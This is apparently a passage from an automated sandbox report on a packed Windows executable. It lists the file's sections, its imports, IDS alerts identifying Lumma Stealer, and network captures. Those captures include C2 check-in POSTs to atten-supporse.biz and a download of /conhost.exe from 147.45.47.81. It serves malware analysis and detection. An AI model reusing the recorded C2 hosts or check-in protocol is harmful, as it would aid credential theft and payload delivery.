IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d5000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x3e000	0x1f800	e7e6035dc082756a266a868903ba3797	False	0.997589595734127	data	7.997242368473124	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x3f000	0x3000	0xe00	3125e93200b0d15e28b6ebec1bbbd13c	False	0.9899553571428571	data	7.898656126844285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x42000	0x10000	0x3000	cb578e9b80b464dbb41d50340a172a3d	False	0.9961751302083334	data	7.977603490688354	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x52000	0x1000	0x200	0475e6a0e048e1a634cb08e4126c3fa3	False	0.04296875	data	0.1833387916558982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x53000	0x4000	0x2200	8d2fd1e35b3df2b717132eeb199990e7	False	0.9838005514705882	data	7.933538071772522	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x57000	0x27e000	0x2ba00	ce86cacf83e75222b999173452f2b112	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2d5000	0xe6000	0xe5400	03e8f16b31a8ac68b556849b22f74ca0	False	0.9972140812431843	data	7.985169205338615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
ole32.dll	CoCreateInstance

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-02T01:38:28.956741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	172.67.165.166	443	TCP
2024-12-02T01:38:31.172104+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	172.67.165.166	443	TCP
2024-12-02T01:38:31.172104+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	172.67.165.166	443	TCP
2024-12-02T01:38:32.429648+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	172.67.165.166	443	TCP
2024-12-02T01:38:33.326916+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	172.67.165.166	443	TCP
2024-12-02T01:38:33.326916+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.165.166	443	TCP
2024-12-02T01:38:34.885668+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	172.67.165.166	443	TCP
2024-12-02T01:38:37.708236+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	172.67.165.166	443	TCP
2024-12-02T01:38:40.178096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	172.67.165.166	443	TCP
2024-12-02T01:38:43.327013+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	172.67.165.166	443	TCP
2024-12-02T01:38:44.522406+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	172.67.165.166	443	TCP
2024-12-02T01:38:46.485518+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	172.67.165.166	443	TCP
2024-12-02T01:38:46.507999+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49737	172.67.165.166	443	TCP
2024-12-02T01:38:51.123338+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.165.166	443	TCP
2024-12-02T01:38:53.045615+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	172.67.165.166	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 01:38:27.685672045 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:27.685729027 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:27.685830116 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:27.688946962 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:27.688966990 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:28.956646919 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:28.956741095 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:28.961257935 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:28.961272955 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:28.961534977 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:29.010617018 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:29.231666088 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:29.231710911 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:29.231865883 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:31.172118902 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:31.172208071 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:31.172269106 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:31.174180984 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:31.174200058 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:31.174212933 CET	49730	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:31.174217939 CET	443	49730	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:31.215580940 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:31.215630054 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:31.215742111 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:31.215971947 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:31.215986013 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:32.429553986 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:32.429647923 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:32.455427885 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:32.455445051 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:32.455634117 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:32.456934929 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:32.456970930 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:32.456995010 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.326906919 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.327276945 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.327310085 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.327368975 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.327399015 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.327460051 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.327874899 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.335015059 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.335077047 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.335083008 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.343492985 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.343543053 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.343548059 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.351922989 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.351974010 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.351979971 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.401232004 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.446844101 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.495017052 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.518536091 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.522347927 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.522427082 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.522428036 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.522485018 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.522568941 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.522582054 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.522595882 CET	49731	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.522600889 CET	443	49731	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.611804008 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.611846924 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:33.611927032 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.612390041 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:33.612402916 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:34.885466099 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:34.885668039 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:34.887025118 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:34.887047052 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:34.887275934 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:34.888387918 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:34.888511896 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:34.888536930 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:34.888586998 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:34.888596058 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:36.365449905 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:36.365541935 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:36.365655899 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:36.365828991 CET	49732	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:36.365848064 CET	443	49732	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:36.446300030 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:36.446346998 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:36.446440935 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:36.446722031 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:36.446734905 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:37.708127022 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:37.708235979 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:37.709727049 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:37.709738016 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:37.709948063 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:37.711205959 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:37.711359978 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:37.711389065 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:38.656079054 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:38.656172991 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:38.656229973 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:38.656366110 CET	49733	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:38.656383991 CET	443	49733	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:38.873358965 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:38.873397112 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:38.873465061 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:38.873780966 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:38.873804092 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:40.177980900 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:40.178096056 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:40.179419994 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:40.179430008 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:40.179651022 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:40.180896044 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:40.181066990 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:40.181098938 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:40.181158066 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:40.181166887 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:41.586301088 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:41.586390018 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:41.586447001 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:41.586580038 CET	49734	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:41.586596012 CET	443	49734	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:42.063143969 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:42.063211918 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:42.063286066 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:42.064157963 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:42.064176083 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:43.326937914 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:43.327013016 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:43.328695059 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:43.328705072 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:43.328933954 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:43.330770969 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:43.330857992 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:43.330863953 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:44.522412062 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:44.522505045 CET	443	49735	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:44.522676945 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:44.522711039 CET	49735	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:45.153302908 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:45.153343916 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:45.153506041 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:45.153851032 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:45.153866053 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.485426903 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.485517979 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.486715078 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.486723900 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.486924887 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.506270885 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.507038116 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.507071018 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.507307053 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.507339001 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.507441044 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.507479906 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.507595062 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.507626057 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.508013010 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.508045912 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.508268118 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.508291006 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.508299112 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.508308887 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.508474112 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.508497000 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.508518934 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.508658886 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.508697033 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.555334091 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.556493998 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.556529999 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.556550980 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.556567907 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.556596041 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.556607962 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:46.556678057 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:46.556695938 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:49.705836058 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:49.705934048 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:49.706013918 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:49.718247890 CET	49737	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:49.718271971 CET	443	49737	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:49.803644896 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:49.803683043 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:49.803776026 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:49.807976007 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:49.807988882 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:51.123256922 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:51.123337984 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:51.125962973 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:51.125974894 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:51.126173973 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:51.135421038 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:51.135476112 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:51.135494947 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:53.045620918 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:53.045706034 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:53.045768023 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:53.052877903 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:53.052892923 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:53.052911043 CET	49741	443	192.168.2.4	172.67.165.166
Dec 2, 2024 01:38:53.052917004 CET	443	49741	172.67.165.166	192.168.2.4
Dec 2, 2024 01:38:53.166306019 CET	49744	80	192.168.2.4	147.45.47.81
Dec 2, 2024 01:38:53.286283970 CET	80	49744	147.45.47.81	192.168.2.4
Dec 2, 2024 01:38:53.286386013 CET	49744	80	192.168.2.4	147.45.47.81
Dec 2, 2024 01:38:53.286562920 CET	49744	80	192.168.2.4	147.45.47.81
Dec 2, 2024 01:38:53.406415939 CET	80	49744	147.45.47.81	192.168.2.4
Dec 2, 2024 01:39:15.221446037 CET	80	49744	147.45.47.81	192.168.2.4
Dec 2, 2024 01:39:15.221571922 CET	49744	80	192.168.2.4	147.45.47.81
Dec 2, 2024 01:39:15.221642971 CET	49744	80	192.168.2.4	147.45.47.81
Dec 2, 2024 01:39:15.341583014 CET	80	49744	147.45.47.81	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 01:38:27.518907070 CET	56890	53	192.168.2.4	1.1.1.1
Dec 2, 2024 01:38:27.658283949 CET	53	56890	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 01:38:27.518907070 CET	192.168.2.4	1.1.1.1	0x4e09	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 01:38:27.658283949 CET	1.1.1.1	192.168.2.4	0x4e09	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 2, 2024 01:38:27.658283949 CET	1.1.1.1	192.168.2.4	0x4e09	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

147.45.47.81

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	147.45.47.81	80	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 01:38:53.286562920 CET	198	OUT	GET /conhost.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 147.45.47.81

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-02 00:38:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-02 00:38:31 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ipspcp5o26henhot0a5jboq9bc; expires=Thu, 27-Mar-2025 18:25:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i4Cc6E66Nz7DIipxuOSscUQOOV5Hk8ZIy2YbAF3kP7Se5H3cTvGSu8Efus18Ssh5Kso5JoLaj678YBIyQCHa5et79GgbdvD2Jg6BQUds53aVjeHZrEzKQnVdVUOWcj04Wkhp5Y0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb74121b8687d13-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1983&rtt_var=755&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1437715&cwnd=252&unsent_bytes=0&cid=0bec7efee23e4ce8&ts=2229&x=0"
2024-12-02 00:38:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-02 00:38:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: atten-supporse.biz
2024-12-02 00:38:32 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=BVnUqo--@distez&j=
